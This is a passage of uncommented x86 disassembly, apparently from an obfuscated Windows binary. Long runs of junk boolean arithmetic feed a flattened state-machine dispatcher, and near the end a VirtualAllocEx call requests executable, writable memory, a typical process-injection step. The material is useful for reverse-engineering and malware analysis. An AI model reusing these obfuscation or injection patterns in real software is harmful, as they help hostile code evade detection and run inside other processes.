and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x104a], al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov dl, 1
xor dl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
xor al, 0xff
mov ah, ch
xor ah, al
and ah, ch
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x104d], al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
mov dl, 1
xor dl, 1
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x1053], bl
mov dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 0
and bl, 0
and al, ah
mov bh, dh
and bh, 0
and dl, ah
or bl, al
mov al, byte [ebp - 0x1053]
or bh, dl
mov dl, byte [ebp - 0x104a]
xor bl, bh
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or bl, al
mov byte [ebp - 0x1049], bl
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, bh
or al, ah
xor dh, al
mov ah, dl
xor ah, 0xff
mov al, dh
and al, ah
xor dh, 0xff
mov ah, dl
and ah, dh
or al, ah
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov bh, cl
and bh, ah
mov al, dl
xor al, 0xff
and al, 0xff
and dl, ah
mov ah, byte [ebp - 0x104d]
or bl, bh
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bh
or dl, ah
xor al, dl
mov byte [ebp - 0x1052], al
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0
or dl, ah
mov ah, cl
xor ah, 0xff
xor al, 0xff
mov byte [ebp - 0x104c], al
mov bh, 1
xor bh, 1
mov al, ah
and al, 0xff
mov byte [ebp - 0x1051], al
mov al, byte [ebp - 0x104c]
and cl, bh
and al, 0xff
mov byte [ebp - 0x1050], al
mov al, byte [ebp - 0x1052]
and al, bh
mov byte [ebp - 0x104f], al
mov al, byte [ebp - 0x1051]
or al, cl
mov cl, byte [ebp - 0x1050]
mov byte [ebp - 0x104e], al
mov al, byte [ebp - 0x104f]
or cl, al
mov al, byte [ebp - 0x104e]
xor al, cl
mov cl, byte [ebp - 0x104d]
mov byte [ebp - 0x104b], al
mov al, byte [ebp - 0x104c]
or ah, al
mov al, byte [ebp - 0x104b]
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov bh, dl
and bh, 0
xor dl, 0
or bh, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
mov dl, byte [ebp - 0x1049]
or ah, al
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and ch, bh
or ah, ch
mov bh, dl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and dl, ch
or bh, dl
mov ch, 1
xor ch, 0
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
or ch, dl
mov dl, ah
and dl, bh
xor ah, bh
or dl, ah
mov ah, ch
and ah, 0
xor ch, 0
or ah, ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and dl, bh
or ch, dl
xor ch, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, dh
xor dl, 0xff
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 1
or dl, bh
or ah, 1
xor dl, 0xff
and dl, ah
mov bh, dh
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and dh, bl
or ah, dh
mov bl, dl
and bl, ah
xor dl, ah
or bl, dl
mov dl, al
xor dl, 0xff
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or dl, dh
or ah, 0
xor dl, 0xff
and dl, ah
mov dh, al
xor dh, 0xff
mov ah, ch
and ah, dh
xor ch, 0xff
and al, ch
or ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov ch, bl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or ch, dl
mov dl, al
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
xor bl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov al, dl
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov bh, al
and bh, 0
and dl, ah
mov dh, ch
and dh, 0
and bl, ah
or bh, dl
mov dl, byte [ebp - 0x104a]
or dh, bl
xor bh, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, cl
xor al, 0xff
mov dh, dl
xor dh, al
and dh, dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov al, dh
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 1
mov bl, al
and bl, 0xff
and dh, cl
mov ah, dl
and ah, 0xff
and ch, cl
or bl, dh
or ah, ch
xor bl, ah
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov dl, cl
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov dh, ch
and dh, 0
and bl, ah
or al, cl
mov cl, byte [ebp - 0x1049]
or dh, bl
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x1041], al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov byte [ebp - 0x1044], al
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
or bl, dl
mov byte [ebp - 0x1046], bl
mov ah, 1
xor ah, 0
mov dl, al
xor dl, ah
and dl, al
mov dh, bl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ah, 1
xor ah, 0
mov al, ch
xor al, ah
and al, ch
xor cl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 1
or cl, bl
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov dl, al
xor dl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x1045], dh
mov bl, 1
xor bl, 0
mov dh, dl
and dh, 0
and al, bl
mov byte [ebp - 0x1048], al
mov al, byte [ebp - 0x1045]
and al, 0
mov byte [ebp - 0x1047], al
mov al, byte [ebp - 0x1048]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1047]
or al, cl
mov cl, byte [ebp - 0x1046]
xor dh, al
mov al, byte [ebp - 0x1045]
or dl, al
mov al, byte [ebp - 0x1044]
xor dl, 0xff
or bl, 0
and dl, bl
or dh, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0x1040], al
mov ah, 1
xor ah, 0
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
mov al, dh
and al, 0
mov byte [ebp - 0x1043], al
mov al, bl
and al, 0
mov byte [ebp - 0x1042], al
mov al, byte [ebp - 0x1043]
and cl, dh
or ch, al
mov al, byte [ebp - 0x1042]
or al, cl
mov cl, byte [ebp - 0x1041]
xor ch, al
mov al, byte [ebp - 0x1040]
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
mov al, dl
xor al, 0xff
and al, 0xff
and dl, ch
or bl, ah
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or cl, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov al, 1
xor al, 0
and al, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x103f], al
mov ah, 1
xor ah, 0
mov ch, cl
xor ch, ah
and ch, cl
xor bh, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
or bh, dh
or ah, 1
xor bh, 0xff
and bh, ah
mov ah, 1
xor ah, 0
mov dh, dl
xor dh, ah
and dh, dl
xor bl, 0xff
xor al, 0xff
mov ah, 1
xor ah, 0
or bl, al
mov al, byte [ebp - 0x103f]
or ah, 0
xor bl, 0xff
and bl, ah
mov ah, ch
and ah, bh
xor ch, bh
or ah, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, ah
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and ah, ch
or bl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xebfd6e4f
mov ecx, 0x84bcd02d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dl, byte [ebp - 0x71]
mov eax, 0x7b8e0959
mov ecx, 0xa831cc9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x1ec], 0x1814eb8
jmp 0x48b820
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1ec], 0x59e77644
jmp 0x48b820
mov dword [ebp - 0x1ec], 0xc344d4fb
jmp 0x48b820
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1ec], 0x567a6eb4
jmp 0x48b820
mov dword [ebp - 0x1ec], 0xd1fd3dc4
jmp 0x48b820
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x1ec], 0x7d154ac4
jmp 0x48b820
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1ec], 0xa4e22c3c
jmp 0x48b820
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x1ec], 0x1fc34733
jmp 0x48b820
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1ec], 0x9f100df
jmp 0x48b820
mov dword [ebp - 0x1ec], 0xdbba83c2
jmp 0x48b820
jmp 0x4509ed